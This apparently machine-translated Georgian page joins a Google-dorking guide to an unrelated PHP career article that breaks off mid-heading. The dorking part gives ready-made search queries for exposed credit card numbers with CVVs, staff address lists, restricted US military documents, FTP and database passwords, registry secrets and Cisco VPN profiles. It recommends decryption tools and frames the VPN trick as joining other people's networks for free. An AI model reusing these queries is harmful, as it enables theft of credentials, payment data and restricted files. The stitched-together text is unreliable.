Inurl php http რა შემოსავალი. როგორ გამოიმუშაოთ ფული PHP-ის ცოდნით? როგორ შეუძლია php პროგრამისტს კარგი ფულის გამომუშავება სახლში?

პირადი მონაცემების მოპოვება ყოველთვის არ ნიშნავს გატეხვას - ზოგჯერ ის საჯაროდ ქვეყნდება. Google-ის პარამეტრების ცოდნა და ცოტა გამომგონებლობა საშუალებას მოგცემთ იპოვოთ ბევრი საინტერესო რამ - საკრედიტო ბარათის ნომრებიდან დაწყებული FBI დოკუმენტებით დამთავრებული.

გაფრთხილება

ყველა ინფორმაცია მოცემულია მხოლოდ საინფორმაციო მიზნებისთვის. არც რედაქტორები და არც ავტორი არ არიან პასუხისმგებელი ამ სტატიის მასალებით მიყენებულ შესაძლო ზიანს.

დღეს ყველაფერი ინტერნეტთან არის დაკავშირებული, წვდომის შეზღუდვაზე ნაკლებად ზრუნავს. ამიტომ, ბევრი პირადი მონაცემი ხდება საძიებო სისტემების მტაცებელი. ობობის რობოტები აღარ შემოიფარგლება მხოლოდ ვებ გვერდებით, არამედ ინდექსირებენ ინტერნეტში არსებულ მთელ კონტენტს და მუდმივად ამატებენ არა-საჯარო ინფორმაციას თავიანთ მონაცემთა ბაზაში. ამ საიდუმლოებების გარკვევა მარტივია – თქვენ უბრალოდ უნდა იცოდეთ როგორ იკითხოთ მათ შესახებ.

ვეძებ ფაილებს

კომპეტენტურ ხელში, Google სწრაფად იპოვის ყველაფერს, რაც ინტერნეტში არ არის ნაპოვნი, მაგალითად, პერსონალურ ინფორმაციას და ფაილებს ოფიციალური გამოყენებისთვის. ისინი ხშირად იმალება, როგორც გასაღები ხალიჩის ქვეშ: არ არსებობს რეალური წვდომის შეზღუდვები, მონაცემები უბრალოდ დევს საიტის უკანა მხარეს, სადაც არ არის ბმულები. სტანდარტული Google ვებ ინტერფეისი უზრუნველყოფს მხოლოდ ძირითადი გაფართოებული ძიების პარამეტრებს, მაგრამ ესეც საკმარისი იქნება.

თქვენ შეგიძლიათ შეზღუდოთ თქვენი Google ძიება კონკრეტული ტიპის ფაილით ორი ოპერატორის გამოყენებით: filetype და ext. პირველი განსაზღვრავს ფორმატს, რომელიც საძიებო სისტემამ დაადგინა ფაილის სათაურიდან, მეორე მიუთითებს ფაილის გაფართოებას, მიუხედავად მისი შიდა შინაარსისა. ორივე შემთხვევაში ძიებისას საჭიროა მხოლოდ გაფართოების მითითება. თავდაპირველად, ext ოპერატორი მოსახერხებელი იყო გამოსაყენებლად იმ შემთხვევებში, როდესაც ფაილს არ გააჩნდა სპეციფიკური ფორმატის მახასიათებლები (მაგალითად, ini და cfg კონფიგურაციის ფაილების მოსაძებნად, რომელიც შეიძლება შეიცავდეს ყველაფერს). ახლა Google-ის ალგორითმები შეიცვალა და ოპერატორებს შორის აშკარა განსხვავება არ არის - უმეტეს შემთხვევაში შედეგები იგივეა.


შედეგების გაფილტვრა

ნაგულისხმევად, Google ეძებს სიტყვებს და, ზოგადად, ყველა შეყვანილ სიმბოლოს ინდექსირებული გვერდების ყველა ფაილში. თქვენ შეგიძლიათ შეზღუდოთ საძიებო არეალი ზედა დონის დომენის, კონკრეტული საიტის ან თავად ფაილებში საძიებო თანმიმდევრობის ადგილმდებარეობის მიხედვით. პირველი ორი ვარიანტისთვის გამოიყენეთ საიტის ოპერატორი, რასაც მოჰყვება დომენის ან არჩეული საიტის სახელი. მესამე შემთხვევაში, ოპერატორების მთელი ნაკრები საშუალებას გაძლევთ მოძებნოთ ინფორმაცია სერვისის ველებში და მეტამონაცემებში. მაგალითად, allinurl იპოვის მოცემულს თავად ბმულების სხეულში, allinanchor - ტეგით აღჭურვილ ტექსტში. , allintitle - გვერდების სათაურებში, allintext - გვერდების სხეულში.

თითოეული ოპერატორისთვის არის მსუბუქი ვერსია უფრო მოკლე სახელით (ყველა პრეფიქსის გარეშე). განსხვავება ისაა, რომ allinurl იპოვის ბმულებს ყველა სიტყვასთან, ხოლო inurl იპოვის ბმულებს მხოლოდ პირველ მათგანთან. მოთხოვნიდან მეორე და შემდგომი სიტყვები შეიძლება გამოჩნდეს ვებგვერდების ნებისმიერ ადგილას. inurl ოპერატორი ასევე განსხვავდება მსგავსი მნიშვნელობის სხვა ოპერატორისგან - საიტისგან. პირველი ასევე საშუალებას გაძლევთ იპოვოთ სიმბოლოების ნებისმიერი თანმიმდევრობა მოძიებული დოკუმენტის ბმულში (მაგალითად, /cgi-bin/), რომელიც ფართოდ გამოიყენება ცნობილი დაუცველობის მქონე კომპონენტების მოსაძებნად.

პრაქტიკაში ვცადოთ. ჩვენ ვიღებთ allintext ფილტრს და ვაძლევთ მოთხოვნას აწარმოოს საკრედიტო ბარათების ნომრებისა და დამადასტურებელი კოდების სია, რომელთა ვადა მხოლოდ ორ წელიწადში ამოიწურება (ან როცა მათი მფლობელები დაიღალებიან ყველას კვებით).

Allintext: ბარათის ნომრის ვადის გასვლის თარიღი /2017 cvv

როდესაც ახალ ამბებში კითხულობთ, რომ ახალგაზრდა ჰაკერმა „გატეხა“ პენტაგონის ან NASA-ს სერვერები, მოიპარა საიდუმლო ინფორმაცია, უმეტეს შემთხვევაში ჩვენ ვსაუბრობთ Google-ის გამოყენების სწორედ ასეთ ძირითად ტექნიკაზე. დავუშვათ, ჩვენ გვაინტერესებს NASA-ს თანამშრომლების სია და მათი საკონტაქტო ინფორმაცია. რა თქმა უნდა, ასეთი სია ხელმისაწვდომია ელექტრონული ფორმით. მოხერხებულობისთვის ან ზედამხედველობის გამო, ის ასევე შეიძლება იყოს თავად ორგანიზაციის ვებსაიტზე. ლოგიკურია, რომ ამ შემთხვევაში არ იქნება ბმულები, რადგან ის განკუთვნილია შიდა გამოყენებისთვის. რა სიტყვები შეიძლება იყოს ასეთ ფაილში? მინიმუმ - "მისამართის" ველი. ყველა ამ ვარაუდის ტესტირება მარტივია.


Inurl:nasa.gov ფაილის ტიპი:xlsx "მისამართი"


ჩვენ ვიყენებთ ბიუროკრატიას

მსგავსი აღმოჩენები სასიამოვნო შეხებაა. ჭეშმარიტად სოლიდური დაჭერა უზრუნველყოფილია Google-ის ოპერატორების უფრო დეტალური ცოდნით ვებმასტერებისთვის, თავად ქსელისა და მოთხოვნილი სტრუქტურის თავისებურებების შესახებ. დეტალების ცოდნით, თქვენ შეგიძლიათ მარტივად გაფილტროთ შედეგები და დახვეწოთ საჭირო ფაილების თვისებები, რათა მიიღოთ მართლაც ღირებული მონაცემები დანარჩენში. სასაცილოა, რომ აქ ბიუროკრატია შველის. ის აწარმოებს სტანდარტულ ფორმულირებებს, რომლებიც მოსახერხებელია ინტერნეტში შემთხვევით გაჟონილი საიდუმლო ინფორმაციის მოსაძიებლად.

მაგალითად, Distribution-ის განცხადების ბეჭედი, რომელიც მოითხოვს აშშ-ს თავდაცვის დეპარტამენტს, ნიშნავს დოკუმენტის გავრცელების სტანდარტიზებულ შეზღუდვებს. ასო A აღნიშნავს საჯარო რელიზებს, რომლებშიც არაფერია საიდუმლო; B - განკუთვნილია მხოლოდ შიდა გამოყენებისთვის, C - მკაცრად კონფიდენციალური და ასე შემდეგ, სანამ F. ასო X ცალკე გამოირჩევა, რომელიც აღნიშნავს განსაკუთრებით ღირებულ ინფორმაციას, რომელიც წარმოადგენს უმაღლესი დონის სახელმწიფო საიდუმლოებას. დაე, მათ, ვინც ამას მორიგეობით უნდა აკეთონ, მოძებნონ ასეთი დოკუმენტები და ჩვენ შემოვიფარგლებით ფაილებით C ასოებით. DoDI დირექტივის 5230.24 მიხედვით, ეს მარკირება ენიჭება დოკუმენტებს, რომლებიც შეიცავს კრიტიკული ტექნოლოგიების აღწერას, რომლებიც ექვემდებარება ექსპორტის კონტროლს. . თქვენ შეგიძლიათ იპოვოთ ასეთი საგულდაგულოდ დაცული ინფორმაცია საიტებზე ზედა დონის domain.mil-ში, რომელიც გამოყოფილია აშშ-ს არმიისთვის.

"DISTRIBUTION STATEMENT C" inurl:navy.mil

ძალიან მოსახერხებელია, რომ .mil დომენი შეიცავს მხოლოდ აშშ-ს თავდაცვის დეპარტამენტის და მისი საკონტრაქტო ორგანიზაციების საიტებს. დომენის შეზღუდვით ძიების შედეგები განსაკუთრებით სუფთაა და სათაურები თავისთავად საუბრობენ. რუსული საიდუმლოებების ამ გზით ძიება პრაქტიკულად უსარგებლოა: domains.ru და.rf-ში ქაოსი სუფევს და მრავალი იარაღის სისტემის სახელი ჟღერს ბოტანიკურს (PP "Kiparis", თვითმავალი თოფები "აკაცია") ან თუნდაც ზღაპრული ( TOS "ბურატინო").


.mil დომენის საიტიდან ნებისმიერი დოკუმენტის გულდასმით შესწავლით, შეგიძლიათ ნახოთ სხვა მარკერები თქვენი ძიების გასაუმჯობესებლად. მაგალითად, მითითება ექსპორტის შეზღუდვებზე "Sec 2751", რომელიც ასევე მოსახერხებელია საინტერესო ტექნიკური ინფორმაციის მოსაძიებლად. დროდადრო ის ამოღებულია ოფიციალური საიტებიდან, სადაც ოდესღაც გამოჩნდა, ასე რომ, თუ ძიების შედეგებში საინტერესო ბმულს ვერ მიჰყვებით, გამოიყენეთ Google-ის ქეში (ქეშის ოპერატორი) ან ინტერნეტ არქივის საიტი.

ღრუბლებში ასვლა

გარდა შემთხვევით დეკლარირებული სამთავრობო დოკუმენტებისა, Google-ის ქეშში ზოგჯერ ჩნდება პერსონალური ფაილების ბმულები Dropbox-დან და მონაცემთა შენახვის სხვა სერვისებიდან, რომლებიც ქმნიან „პირად“ ბმულებს საჯაროდ გამოქვეყნებულ მონაცემებზე. ეს კიდევ უფრო უარესია ალტერნატიული და ხელნაკეთი სერვისებით. მაგალითად, შემდეგი მოთხოვნა პოულობს მონაცემებს Verizon-ის ყველა მომხმარებლისთვის, რომლებსაც აქვთ დაინსტალირებული FTP სერვერი და აქტიურად იყენებენ როუტერს.

Allinurl:ftp://verizon.net

ახლა ორმოც ათასზე მეტი ასეთი ჭკვიანი ადამიანია და 2015 წლის გაზაფხულზე კიდევ ბევრი იყო. Verizon.net-ის ნაცვლად, შეგიძლიათ შეცვალოთ ნებისმიერი ცნობილი პროვაიდერის სახელი და რაც უფრო ცნობილი იქნება, მით უფრო დიდი იქნება დაჭერა. ჩაშენებული FTP სერვერის საშუალებით შეგიძლიათ იხილოთ ფაილები გარე შენახვის მოწყობილობაზე, რომელიც დაკავშირებულია როუტერთან. ჩვეულებრივ, ეს არის NAS დისტანციური მუშაობისთვის, პერსონალური ღრუბლისთვის ან რაიმე სახის peer-to-peer ფაილის ჩამოტვირთვისთვის. ასეთი მედიის ყველა შინაარსი ინდექსირებულია Google-ისა და სხვა საძიებო სისტემების მიერ, ასე რომ თქვენ შეგიძლიათ წვდომა გარე დისკებზე შენახულ ფაილებზე პირდაპირი ბმულის საშუალებით.

ათვალიერებ კონფიგურაციებს

ღრუბელში გავრცელებულ მიგრაციამდე, მარტივი FTP სერვერები მართავდნენ როგორც დისტანციურ შენახვას, რომელსაც ასევე ჰქონდა უამრავი დაუცველობა. ბევრი მათგანი დღესაც აქტუალურია. მაგალითად, პოპულარული WS_FTP Professional პროგრამა ინახავს კონფიგურაციის მონაცემებს, მომხმარებლის ანგარიშებს და პაროლებს ws_ftp.ini ფაილში. მისი პოვნა და წაკითხვა მარტივია, რადგან ყველა ჩანაწერი ინახება ტექსტის ფორმატში, ხოლო პაროლები დაშიფრულია Triple DES ალგორითმით მინიმალური დაბინდვის შემდეგ. უმეტეს ვერსიებში საკმარისია პირველი ბაიტის უბრალოდ გაუქმება.

ასეთი პაროლების გაშიფვრა მარტივია WS_FTP Password Decryptor პროგრამის ან უფასო ვებ სერვისის გამოყენებით.

თვითნებური ვებსაიტის გატეხვაზე საუბრისას, ისინი ჩვეულებრივ გულისხმობენ პაროლის მიღებას ჟურნალებიდან და CMS-ის ან ელექტრონული კომერციის აპლიკაციების კონფიგურაციის ფაილების სარეზერვო ასლებიდან. თუ იცით მათი ტიპიური სტრუქტურა, შეგიძლიათ მარტივად მიუთითოთ საკვანძო სიტყვები. ws_ftp.ini-ში ნაპოვნი ხაზები ძალზე გავრცელებულია. მაგალითად, Drupal-სა და PrestaShop-ში ყოველთვის არის მომხმარებლის იდენტიფიკატორი (UID) და შესაბამისი პაროლი (pwd) და ყველა ინფორმაცია ინახება ფაილებში .inc გაფართოებით. თქვენ შეგიძლიათ მოძებნოთ ისინი შემდეგნაირად:

"pwd=" "UID=" ext:inc

DBMS პაროლების გამოვლენა

SQL სერვერების კონფიგურაციის ფაილებში მომხმარებლის სახელები და ელ.ფოსტის მისამართები ინახება წმინდა ტექსტში და მათი MD5 ჰეშები იწერება პაროლების ნაცვლად. მკაცრად რომ ვთქვათ, მათი გაშიფვრა შეუძლებელია, მაგრამ თქვენ შეგიძლიათ იპოვოთ შესატყვისი ცნობილ ჰეშ-პაროლის წყვილებს შორის.

ჯერ კიდევ არსებობს DBMS-ები, რომლებიც არც კი იყენებენ პაროლის ჰეშინგს. ნებისმიერი მათგანის კონფიგურაციის ფაილები უბრალოდ შეგიძლიათ ნახოთ ბრაუზერში.

Intext:DB_PASSWORD ფაილის ტიპი: env

Windows სერვერების მოსვლასთან ერთად, კონფიგურაციის ფაილების ადგილი ნაწილობრივ დაიკავა რეესტრმა. თქვენ შეგიძლიათ მოძებნოთ მისი ფილიალები ზუსტად იმავე გზით, ფაილის ტიპად reg-ის გამოყენებით. მაგალითად, ასე:

ფაილის ტიპი:რეგ HKEY_CURRENT_USER "პაროლი"=

არ დავივიწყოთ აშკარა

ზოგჯერ შესაძლებელია საიდუმლო ინფორმაციამდე მოხვედრა იმ მონაცემების გამოყენებით, რომლებიც შემთხვევით გაიხსნა და Google-ის ყურადღების ცენტრში მოექცა. იდეალური ვარიანტია პაროლების სიის პოვნა რაიმე საერთო ფორმატში. მხოლოდ სასოწარკვეთილ ადამიანებს შეუძლიათ შეინახონ ანგარიშის ინფორმაცია ტექსტურ ფაილში, Word დოკუმენტში ან Excel ცხრილებში, მაგრამ ისინი ყოველთვის საკმარისია.

ფაილის ტიპი:xls inurl:პაროლი

ერთის მხრივ, არსებობს უამრავი საშუალება მსგავსი ინციდენტების თავიდან ასაცილებლად. აუცილებელია htaccess-ში ადექვატური წვდომის უფლებების მითითება, CMS-ის პატჩი, არ გამოიყენოთ მარცხენა სკრიპტები და დახუროთ სხვა ხვრელები. ასევე არის ფაილი robots.txt გამონაკლისების სიით, რომელიც კრძალავს საძიებო სისტემებს მასში მითითებული ფაილების და დირექტორიების ინდექსირებას. მეორეს მხრივ, თუ robots.txt-ის სტრუქტურა ზოგიერთ სერვერზე განსხვავდება სტანდარტულისგან, მაშინვე ცხადი ხდება, რის დამალვას ცდილობენ მასზე.

ნებისმიერი საიტის დირექტორიებისა და ფაილების სიას წინ უძღვის სტანდარტული ინდექსი. იმის გამო, რომ სერვისის მიზნებისთვის ის უნდა გამოჩნდეს სათაურში, აზრი აქვს მისი ძიების შეზღუდვას intitle ოპერატორით. საინტერესო რამ არის /admin/, /personal/, /etc/ და კიდევ /secret/ დირექტორიებში.

თვალყური ადევნეთ განახლებებს

აქ რელევანტურობა ძალზე მნიშვნელოვანია: ძველი დაუცველობები ძალიან ნელა იხურება, მაგრამ Google და მისი ძიების შედეგები მუდმივად იცვლება. „ბოლო წამის“ ფილტრსა (&tbs=qdr:s მოთხოვნის URL-ის ბოლოს) და „რეალურ დროში“ ფილტრს (&tbs=qdr:1) შორის განსხვავებაც კი არის.

ფაილის ბოლო განახლების თარიღის დროის ინტერვალი ასევე მითითებულია Google-ის მიერ. გრაფიკული ვებ ინტერფეისის საშუალებით შეგიძლიათ აირჩიოთ ერთ-ერთი სტანდარტული პერიოდი (საათი, დღე, კვირა და ა.შ.) ან დააყენოთ თარიღის დიაპაზონი, მაგრამ ეს მეთოდი არ არის შესაფერისი ავტომატიზაციისთვის.

მისამართების ზოლის გარეგნობის მიხედვით, თქვენ შეგიძლიათ მხოლოდ გამოიცნოთ შედეგების გამომუშავების შეზღუდვის გზა &tbs=qdr: კონსტრუქციის გამოყენებით. ასო y მას შემდეგ რაც ადგენს ერთი წლის ზღვარს (&tbs=qdr:y), m აჩვენებს შედეგებს ბოლო თვისთვის, w - კვირისთვის, d - გასული დღისთვის, h - ბოლო საათისთვის, n - წუთისთვის და s - for მომეცი წამი. უახლესი შედეგები, რომლებიც Google-მა ახლახან გაავრცელა, ნაპოვნია ფილტრის &tbs=qdr:1 გამოყენებით.

თუ ჭკვიანური სკრიპტის დაწერა გჭირდებათ, სასარგებლო იქნება იმის ცოდნა, რომ თარიღის დიაპაზონი დაყენებულია Google-ში ჯულიანის ფორმატში daterange ოპერატორის გამოყენებით. მაგალითად, ასე შეგიძლიათ იპოვოთ PDF დოკუმენტების სია სიტყვა კონფიდენციალური, გადმოწერილი 2015 წლის 1 იანვრიდან 1 ივლისამდე.

კონფიდენციალური ფაილის ტიპი:pdf daterange:2457024-2457205

დიაპაზონი მითითებულია იულიუსის თარიღის ფორმატში, წილადი ნაწილის გათვალისწინების გარეშე. მათი ხელით თარგმნა გრიგორიანული კალენდრიდან მოუხერხებელია. თარიღის გადამყვანის გამოყენება უფრო ადვილია.

დამიზნება და ისევ გაფილტვრა

საძიებო მოთხოვნაში დამატებითი ოპერატორების მითითების გარდა, მათი გაგზავნა შესაძლებელია უშუალოდ ბმულის ტექსტში. მაგალითად, filetype:pdf სპეციფიკაცია შეესაბამება კონსტრუქციას as_filetype=pdf. ეს ხელს უწყობს ნებისმიერი განმარტების მოთხოვნას. ვთქვათ, რომ შედეგების გამომავალი მხოლოდ ჰონდურასის რესპუბლიკიდან არის მითითებული საძიებო URL-ში კონსტრუქციის cr=countryHN-ის დამატებით და მხოლოდ ქალაქ ბობრუისკიდან - gcs=Bobruisk. სრული სია შეგიძლიათ ნახოთ დეველოპერის განყოფილებაში.

Google-ის ავტომატიზაციის ხელსაწყოები შექმნილია იმისთვის, რომ გაამარტივოს ცხოვრება, მაგრამ ისინი ხშირად ამატებენ პრობლემებს. მაგალითად, მომხმარებლის ქალაქი განისაზღვრება მომხმარებლის IP-ით WHOIS-ის საშუალებით. ამ ინფორმაციის საფუძველზე Google არა მხოლოდ აბალანსებს დატვირთვას სერვერებს შორის, არამედ ცვლის ძიების შედეგებს. რეგიონიდან გამომდინარე, ერთი და იგივე მოთხოვნის შემთხვევაში, პირველ გვერდზე გამოჩნდება სხვადასხვა შედეგები და ზოგიერთი მათგანი შესაძლოა მთლიანად დამალული იყოს. gl=country დირექტივის შემდეგ ორასოიანი კოდი დაგეხმარებათ თავი იგრძნოთ კოსმოპოლიტად და მოიძიოთ ინფორმაცია ნებისმიერი ქვეყნიდან. მაგალითად, ნიდერლანდების კოდი არის NL, მაგრამ ვატიკანსა და ჩრდილოეთ კორეას არ აქვთ საკუთარი კოდი Google-ში.

ხშირად, ძიების შედეგები დაბინძურებულია რამდენიმე მოწინავე ფილტრის გამოყენების შემდეგაც კი. ამ შემთხვევაში მოთხოვნის გარკვევა ადვილია მასში რამდენიმე გამონაკლისი სიტყვის დამატებით (თითოეულის წინ არის მინუს ნიშანი). მაგალითად, საბანკო საქმე, სახელები და სახელმძღვანელო ხშირად გამოიყენება სიტყვა Personal-თან ერთად. ამიტომ, უფრო სუფთა ძიების შედეგები ნაჩვენები იქნება არა მოთხოვნის სახელმძღვანელოს მაგალითით, არამედ დახვეწილი:

სათაური:"ინდექსი /პირადი/" -სახელები -სამეურვეო -საბანკო

ერთი ბოლო მაგალითი

დახვეწილი ჰაკერი იმითაა გამორჩეული, რომ თვითონ უზრუნველყოფს ყველაფერს, რაც სჭირდება. მაგალითად, VPN არის მოსახერხებელი რამ, მაგრამ ან ძვირი, ან დროებითი და შეზღუდვებით. საკუთარი თავის გამოწერაზე დარეგისტრირება ძალიან ძვირია. კარგია, რომ არის ჯგუფური გამოწერები და Google-ის დახმარებით ადვილია გახდე ჯგუფის წევრი. ამისათვის უბრალოდ იპოვეთ Cisco VPN კონფიგურაციის ფაილი, რომელსაც აქვს საკმაოდ არასტანდარტული PCF გაფართოება და ცნობადი გზა: Program Files\Cisco Systems\VPN Client\Profiles. ერთი თხოვნა და თქვენ შეუერთდით, მაგალითად, ბონის უნივერსიტეტის მეგობრულ გუნდს.

ფაილის ტიპი: pcf vpn ან ჯგუფი

ინფორმაცია

Google პოულობს პაროლის კონფიგურაციის ფაილებს, მაგრამ ბევრი მათგანი დაშიფრულია ან ჩანაცვლებულია ჰეშებით. თუ ხედავთ ფიქსირებული სიგრძის სტრიქონებს, მაშინვე მოძებნეთ გაშიფვრის სერვისი.

პაროლები ინახება დაშიფრულად, მაგრამ მორის მასარდმა უკვე დაწერა პროგრამა მათი გაშიფვრის მიზნით და უფასოდ აწვდის მას thecampusgeeks.com-ის საშუალებით.

Google აწარმოებს ასობით სხვადასხვა ტიპის შეტევებს და შეღწევადობის ტესტებს. არსებობს მრავალი ვარიანტი, რომელიც გავლენას ახდენს პოპულარულ პროგრამებზე, მონაცემთა ბაზის ძირითად ფორმატებზე, PHP-ის მრავალ დაუცველობაზე, ღრუბლებზე და ა.შ. იმის ცოდნა, თუ რას ეძებთ, ბევრად გაგიადვილებთ თქვენთვის საჭირო ინფორმაციის პოვნას (განსაკუთრებით ინფორმაციის, რომლის გასაჯაროებასაც არ აპირებდით). Shodan არ არის ერთადერთი, რომელიც იკვებება საინტერესო იდეებით, არამედ ინდექსირებული ქსელის რესურსების ყველა მონაცემთა ბაზა!

ავტორისგან:გამარჯობა მეგობრებო! ამ სტატიაში ვისაუბრებთ PHP პროგრამირების ენაზე. მოდით გავარკვიოთ, რისთვის გამოიყენება, რისი გაკეთება შეგიძლიათ და რა ადგილი უჭირავს მას ვებგვერდის განვითარების ეტაპებზე. ასევე ამ სტატიაში ჩვენ გადავხედავთ ფულის გამომუშავების ბევრ გზას PHP-ში დაპროგრამების ცოდნით.

რა არის PHP და რისთვის არის ის?

PHP არის სკრიპტირების ენა, რომელიც ძალიან აქტიურად გამოიყენება ვებ აპლიკაციების შემუშავებაში. PHP არის ერთ-ერთი წამყვანი ენა, რომელიც გამოიყენება დინამიური ვებსაიტების შემუშავებაში.

PHP არის სერვერის პროგრამირების ენა. ამ ენაზე დაწერილი ყველა სკრიპტი შესრულებულია სერვერზე საიტზე. PHP-ის შესასწავლად, ვებსაიტების და სკრიპტების შემუშავებისა და გამართვისთვის, რა თქმა უნდა, არ გჭირდებათ ნამდვილი სერვერის ყიდვა ინტერნეტში. ამ მიზნებისათვის გამოიყენება სერვერის ემულატორები, რომლებიც პროგრამების სახით უბრალოდ დამონტაჟებულია სამუშაო კომპიუტერზე. ხოლო სერვერზე ინტერნეტში (ჰოსტინგში) განთავსებულია მზა ვებსაიტები და PHP სკრიპტებით გვერდები. სხვათა შორის, თითქმის ყველა თანამედროვე ჰოსტინგი მხარს უჭერს PHP ენას.

ამ ენის პოპულარობა ვებსაიტების შექმნის სფეროში განისაზღვრება ჩაშენებული ინსტრუმენტების დიდი ნაკრების არსებობით ვებ აპლიკაციების შემუშავებისთვის. მთავარი:

POST და GET პარამეტრების, ასევე ვებ სერვერის გარემოს ცვლადების ავტომატური ამოღება წინასწარ განსაზღვრულ მასივებში;

ურთიერთქმედება სხვადასხვა მონაცემთა ბაზის მართვის სისტემებთან (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape და Apache Derby, Informix, Ovrimos SQL, შენიშვნები, DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, PDO ინტერფეისი);

HTTP ჰედერების ავტომატური გაგზავნა;

ქუქი-ფაილებთან და სესიებთან მუშაობა;

ლოკალურ და დისტანციურ ფაილებთან, სოკეტებთან მუშაობა;

სერვერზე ატვირთული ფაილების დამუშავება;

მუშაობა XForms-თან.

მოდით შევხედოთ მაგალითს, სადაც PHP სკრიპტი მუშაობს გვერდზე. აიღეთ, მაგალითად, გამოწერის ფორმა, რომელშიც შეიყვანთ თქვენს სახელს და ელ.წერილს ბევრ საიტზე. HTML და CSS პასუხისმგებელია ფორმის გარეგნობაზე - შეყვანის ველებისა და ღილაკების ფერები, ღილაკის ფერის შეცვლა მასზე დაჭერისას და დაწკაპუნებისას და ა.შ. HTML5-ის გამოყენებით შეგიძლიათ შეამოწმოთ ფორმაში შეტანილი მონაცემების სისწორე - მაგალითად, სწორად არის თუ არა შევსებული ელ.ფოსტის ან ტელეფონის ველები.

და მას შემდეგ რაც დააწკაპუნებთ ღილაკზე „გამოწერა“, იწოდება PHP სკრიპტი, რომელიც იღებს ფორმაში შეყვანილ მონაცემებს. სკრიპტი ჩაწერს მათ მონაცემთა ბაზაში, გენერირებს და გიგზავნით ბმულს ფორმაში მითითებულ ელ.წერილზე თქვენი გამოწერის დასადასტურებლად, ამოწმებს გამოწერის დადასტურებას და გამოგიგზავნით შემდგომ წერილებს. ყველა ეს ოპერაცია შესრულებულია სერვერზე და ეს ხდება PHP პროგრამირების ენის გამოყენებით.

PHP-ის გამოყენება ვებსაიტების შემუშავებაში

ვებსაიტის შესაქმნელად საჭიროა რამდენიმე ეტაპის გავლა:

დაგეგმვა. ამ ეტაპზე ვგეგმავთ სამომავლო საიტს: ვისთვის და რატომ ვაკეთებთ, ვინ ეწვევა საიტს, რითი შევავსოთ, რა უნდა იყოს საიტზე და ა.შ.

დიზაინი. დიზაინის ეტაპზე ჩვენ ვქმნით საიტის გვერდების იერსახეს გრაფიკულ რედაქტორში.

განლაგება. განლაგების ეტაპზე, HTML-ისა და CSS-ის გამოყენებით, დიზაინის ეტაპზე მიღებული განლაგებიდან ვქმნით მომავალი საიტის HTML გვერდებს.

პროგრამირება. პროგრამირების ეტაპზე ჩვენ ავტომატიზირებთ საიტთან მუშაობის პროცესებს. ჩვენ ვაპროგრამებთ საიტის ადმინისტრაციულ ნაწილს (ადმინისტრაციულ პანელს) ისე, რომ თქვენ შეგიძლიათ დაამატოთ, წაშალოთ, დაარედაქტიროთ არსებული გვერდები თუნდაც მათთვის, ვინც სრულიად არ იცნობს ვებ გვერდის მშენებლობას. ჩვენ ვაპროგრამებთ ისე, რომ საძიებო და ყველა სააბონენტო ფორმა (ასეთის არსებობის შემთხვევაში) იმუშაოს საიტზე. ჩვენ ვზრუნავთ, რომ ახლად დამატებული გვერდი გამოჩნდება საიტზე და მენიუში ავტომატურად გამოჩნდება შექმნილი გვერდის ბმული. თუ საიტი იყენებს ხმის მიცემას ან გამოკითხვას, მაშინ ეს ყველაფერი ასევე დაპროგრამებულია PHP-ში, პროგრამირების ეტაპზე.

თუ გავითვალისწინებთ უფრო დიდი საიტის, მაგალითად, ონლაინ მაღაზიის დაპროგრამების ეტაპს, მაშინ აქ ყველაფერი კიდევ უფრო ფართო და საინტერესოა. ამ შემთხვევაში ვამატებთ არა მხოლოდ გვერდებს, არამედ პროდუქტებს - ონლაინ მაღაზიის ძირითად შინაარსს. უფრო მეტიც, ადმინისტრაციულ პანელში თქვენ უნდა მიუთითოთ დამატებული პროდუქტების დაყოფა სხვადასხვა კატეგორიებად. ასევე შესაძლებელი უნდა იყოს პროდუქტის რედაქტირება, მისი აღწერილობის შეცვლა, ფასი, სურათი და ა.შ.

გარდა ამისა, ონლაინ მაღაზია მოითხოვს ანალიტიკური სისტემის პროგრამირებას - ასე რომ თქვენ შეგიძლიათ ნახოთ ადმინისტრაციულ პანელში რამდენი შეკვეთა განთავსდა და გადაიხადეს, რა თანხაზე და რა პროდუქტში გადაიხადეს რომელი კატეგორიებიდან და ა.შ. შესაძლებელია ასეთი ანგარიშების ჩვენება სხვადასხვა პერიოდის განმავლობაში. ონლაინ მაღაზიის პროგრამირებისას ხშირად ხორციელდება გაყიდვების ანგარიშგება სააღრიცხვო და საგადასახადო მიზნებისთვის.

სწორედ ამიტომ, ეტაპი, რომელშიც PHP პროგრამირების ენა გამოიყენება, არის ყველაზე მნიშვნელოვანი, ყველაზე გრძელი დროის თვალსაზრისით და ყველაზე ძვირი და მაღალანაზღაურებადი ვებსაიტების შემუშავებაში. და მას შემდეგ რაც გაიგებთ, თუ როგორ უნდა დაპროგრამოთ ონლაინ მაღაზია, თქვენ შეძლებთ შექმნათ სკრიპტები თითქმის ნებისმიერი სირთულის ვებსაიტისთვის.

PHP-ის პოპულარობა

PHP-ის პოპულარობას ადასტურებს ის ფაქტი, რომ მას იყენებს ყველა საიტის 83.1%, სადაც შესაძლებელი იყო სერვერის მხარის პროგრამირების ენის იდენტიფიცირება.

ყველა ყველაზე პოპულარული CMS, რომელიც პირველ ადგილს იკავებს პოპულარობის რეიტინგებში (როგორც ფასიანი, ასევე უფასო: WordPress, Joomla, Drupal, Modx, Bitrix. Magento და ა.შ.) დაწერილია PHP პროგრამირების ენაზე.

ასევე, PHP პროგრამირების ენის პოპულარობას მოწმობს მრავალი შექმნილი PHP ჩარჩო, როგორიცაა Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 და სხვა. არსებობს უამრავი ფორუმი და დიდი საზოგადოებები - ზოგადად PHP-სთვის, თითოეული ჩარჩოსთვის და თითოეული CMS-ისთვის ცალკე.
ასევე დავამატებ, რომ მსოფლიოს უმსხვილესი საიტები, მაგალითად, Facebook, Wikipedia, ასევე დაწერილია PHP-ით.

როგორ შეგიძლიათ ფულის გამომუშავება PHP-ის ცოდნით?

